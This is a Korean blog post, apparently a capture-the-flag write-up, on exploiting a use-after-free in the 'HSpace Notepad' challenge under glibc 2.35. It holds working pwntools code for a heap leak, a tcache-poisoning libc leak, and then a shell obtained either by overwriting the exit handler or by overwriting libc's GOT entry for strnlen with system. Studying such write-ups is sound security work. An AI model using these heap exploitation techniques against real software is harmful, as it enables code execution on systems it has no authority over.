security/CTF

[HSpace CTF] HSpace Notepad

민사민서 2023. 9. 2. 02:22

UAF 취약점 발생 => 해제된 chunk에 접근하여 값을 조작하거나 값을 읽어올 수 있다

보호기법 풀 적용 => 두 가지 방법으로 해결 가능 : exit handler 혹은 libc GOT overwrite

 

Step 1. heap leak

- 항상 malloc(0x84) 이루어지므로 0x90 크기의 chunk가 할당된다 => 0x20 ~ 0x410 범위의 chunk는 tcache bins

- single-linked 형태의 tcache bin은 총 64개가 있으며, 각 bin에는 최대 7개의 chunk가 저장된다

- next ptr은 safe-linking 되어있다 = (heap chunk addr >> 12) 값과 xor 되어있다

 

from pwn import *
from bitstring import BitArray

# p = process("./notepad")
p = remote('cat.moe', 8003)

def printall():
    p.recvuntil("> ")
    p.sendline("3")

def addchunk(idx, size, data):
    p.recvuntil("> ")
    p.sendline("1")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.recvuntil("data: ")
    p.send(data)

def freechunk(idx):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("idx: ")
    p.sendline(str(idx))

# Step 1: heap leak
addchunk(0,0x80,'AAAAAAAA') # chk0
addchunk(1,0x80,'AAAAAAAA') # chk1
freechunk(0)
freechunk(1) # tcache[0x90]: chk1 -> chk0 -> 0
addchunk(0,0, '') # uaf
addchunk(1,0, '') # uaf
printall()
p.recvuntil("0 -> ")
heap_leak = u64(p.recvline()[:-1]+b'\x00'*3) # masking key
p.recvuntil("1 -> ")
chk0_addr = u64(p.recvline()[:-1]+b'\x00'*2) ^ heap_leak

// safe-linking 과정에서 xor 연산에 사용하는 masking key와 index 0의 chunk 주소를 leak 하였다

 

Step 2. libc_base leak

- menu(1)에서 size만큼 스택 버퍼의 값을 chunk로 memcpy 해오기때문에 chunk 크기를 최대(0x80)로 주고 살펴봄

- gdb attach해서 반복적으로 확인했는데 memcpy해서 가져온 스택값에 libc 값들 존재 (옾셋 일정)

- tcache poisoning을 통해 next tcache chunk를 해당 위치로 바꿔 libc 값 leak

# Step 2: libc leak
fake_ptr = (chk0_addr+0x40) ^ heap_leak
addchunk(1,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chk1 -> chk0+0x40 -> ???

addchunk(2,0,'') # chk1
addchunk(3,0,'') # chk0+0x40
printall()
p.recvuntil("3 -> ")
libc_base = u64(p.recvline()[:-1]+b'\x00'*2) - 0x219aa0

// 근데 이건 스택 환경이 서버랑 로컬이랑 다를 수 있기 때문에 별로 추천하지는 않는다

// 도커환경 구성하고 테스트하면 확실히 괜찮을수도?

 

좀 더 일반적인, 확실한 방법 (8개 연속 할당 및 연속 해제)

- tcache bin의 최대 저장 개수 7개

- 64bit 기준 fastbin은 7개의 bin 사용, 0x20~0x80 크기의 chunk를 저장한다. 그 이상의 chunk는 unsorted bin에 저장됨

- 해제를 8번 하면 7개는 tcache[0x90]에 저장되고, 나머지 하나는 unsortedbin에 저장

- unsorted bin은 double-linked 형태로 처음과 마지막 chunk의 bk, fd에 libc 주소 담김 (main_arena + xxx)

# Guardian 정재영 선배릠 풀이
for i in range(1, 9):
    alloc(i, "Q")

for i in range(2, 9):
    delete(i)

delete(1)
alloc(1, "", 0)
printer()
p.recvuntil("1 -> ")
libc_base = u64(p.recvline()[:-1] + "\x00\x00") - 0x219ce0

 

Step 3. 보호기법 풀인 상태에서 exploit 방향

- 이미 heap leak 및 libc_base leak 해둔 상태

- tcache poisoning 및 allocation을 통해 원하는 주소에 읽기 / 쓰기가 가능하다

(물론 tcache chunk alignment 맞춰주어야해서 0x10 배수의 주소들만 가능하겠지, safe-linking도 고려하고)

 

Method 1. exit handler overwrite

https://minseosavestheworld.tistory.com/166 <- 여기 자세히 나와있음

 

메인함수 에필로그 후 __libc_start_call_main 에서 exit() 함수 호출이 이루어짐

__run_exit_handler에서 initial+0x18 포인터 값을 가져와 demangling 과정을 거침 (0x11만큼 bits roate right 후 fs:[0x30] 값과 xor 한다, mangling 과정의 역순)

exit handler 호출되는 과정을 보니 r13의 값 (initial+0x20의 값)이 인자로 들어가네

 

따라서 fs_base+0x30의 값을 leak하거나 특정 값으로 overwrite 후, libc 영역에 존재하는 initial 구조체의 0x18 옾셋과 0x20 옵셋을 각각 system 주소 / binsh 주소로 채우면 되겠네

system = libc_base + 0x50d60
binsh = libc_base + 0x1d8698
initial = libc_base + 0x21af00
fs_0x30 = libc_base - 0x2890

# Step 3: fs:[0x30] overwrite (0x0으로)
addchunk(4,8,'AAAAAAAA') # chkA
addchunk(5,8,'AAAAAAAA') # chkB
freechunk(4)
freechunk(5) # tcache[0x90]: chkB -> chkA -> 0

fake_ptr = (fs_0x30) ^ heap_leak # tcache alignment
addchunk(5,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkB -> fs:0x30 -> ???

addchunk(6,0,'') # chkB
addchunk(7,8,'\x00'*8) # fs:0x30

# Step 4: exit handler overwrite (w/ paremeter)
addchunk(8,8,'AAAAAAAA') # chkX
addchunk(9,8,'AAAAAAAA') # chkY
freechunk(8)
freechunk(9) # tcache[0x90]: chkY -> chkX -> 0

fake_ptr = (initial+0x10) ^ heap_leak # tcache alignment
addchunk(9,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkY -> initial+0x10 -> ???

bits = BitArray(uint=system, length=64)
bits.rol(0x11)
mangled_ptr = bits.uint
addchunk(10,0,'') # chkY
addchunk(11,0x18, p64(0x4)+p64(mangled_ptr)+p64(binsh)) # initial+0x10

이랬다가
이렇게 바뀐다

 

Method 2. libc의 GOT overwrite

libc 파일은 원 바이너리의 Full RELRO에 영향받지 않는다. libc 바이너리의 GOT table을 덮어써서 흐름 조작

 

exploit 조건

- 덮었을 때 프로그램 crash가 안나야하며

- 원가젯 공략이 가능한 레지스터 상태이거나, 혹은 user가 인자를 넣을 수 있어야 한다 ('/bin/sh' 문자열 주소)

 

IDA로 printf 함수 분석해보니 내부에서 _vfprintf_internal 함수 호출

_vfprintf_internal 함수 내부에서 j_로 시작하는 함수들 존재 = libc의 GOT에 해당하는 놈들임!!!

(j_ prefix is used by IDA for functions which do not do anything besides jumping to another function)

얘는 printf 호출될 때 항상 호출되고
얘는 printf 호출 시 인자 2개 이상일 때 호출되고

// 그 외에도 j_strlen_ifunc , j_strnlen 등등 존재

 

j_strchrnul 을 따라가보니 GOT에서 주소를 가져와 jump 하는 함수였다

특정 위치의 주소를 가져와 그곳으로 jump
그 특정 위치는 GOT 이었다

 

- j_strchrnul을 덮었더니 프로그램 crash. 아마 프로그램 여러곳에서 쓰이는 함수여서 그런듯

- j_strnlen을 덮으면 되겠다. 심지어 GOT 테이블의 주소로 jump 시 인자로 printf의 두번째 인자가 전달

- 원가젯 사용하려했으나 레지스터 상황 때문에 전부 실패. 인자를 넣을 수 있으면서 GOT overwrite 가능한 케이스들 살펴보았는데 딱히 없음

# Step 3: libc got overwrite
addchunk(4,8,'AAAAAAAA') # chkA
addchunk(5,8,'AAAAAAAA') # chkB
freechunk(4)
freechunk(5) # tcache[0x90]: chkB -> chkA -> 0

fake_ptr = (strlen_ifunc_got-0x8) ^ heap_leak # tcache alignment
addchunk(5,7,p64(fake_ptr)[:-2]+b'A') # tcache[0x90]: chkB -> libc GOT table -> ???

addchunk(6,0,'') # chkB
# gdb.attach(p)
# pause()
addchunk(7,0x10, b'AAAAAAAA'+p64(system)[:-2]+b'A')
addchunk(0,0x8, '/bin/shh')

// 인자 2개 이상 printf 실행 시 내부에서 j_strnlen 호출되면서 system 실행됨

// 인자로 '/bin/sh' 주소를 전달하기 위해 chunk 0의 데이터 조작

 

 

나도 처음 알았는데..

 

Ubuntu 22.04 같이 높은 버전의 glibc를 사용하고 있는 환경의 경우
- Tcache, Fastbin에 heap safe-linking 적용
- __free_hook, __malloc_hook, __realloc_hook 사용 불가
- call ptr in rtld_global 불가
 
=> libc에는 FULL RELRO 보호기법 안걸려있다는 점을 이용하여 j_strlen 등을 one_gadget으로 overwrite 하여 puts/printf 함수 실행 시점에서 exploit 되도록 한다. 꽤 자주 쓰이는 기법이라고 한다

'security > CTF' 카테고리의 다른 글

2022 CCE 예선 - 공용/일반  (0) 2023.06.10
2022 CCE 예선 - 청소년  (0) 2023.06.08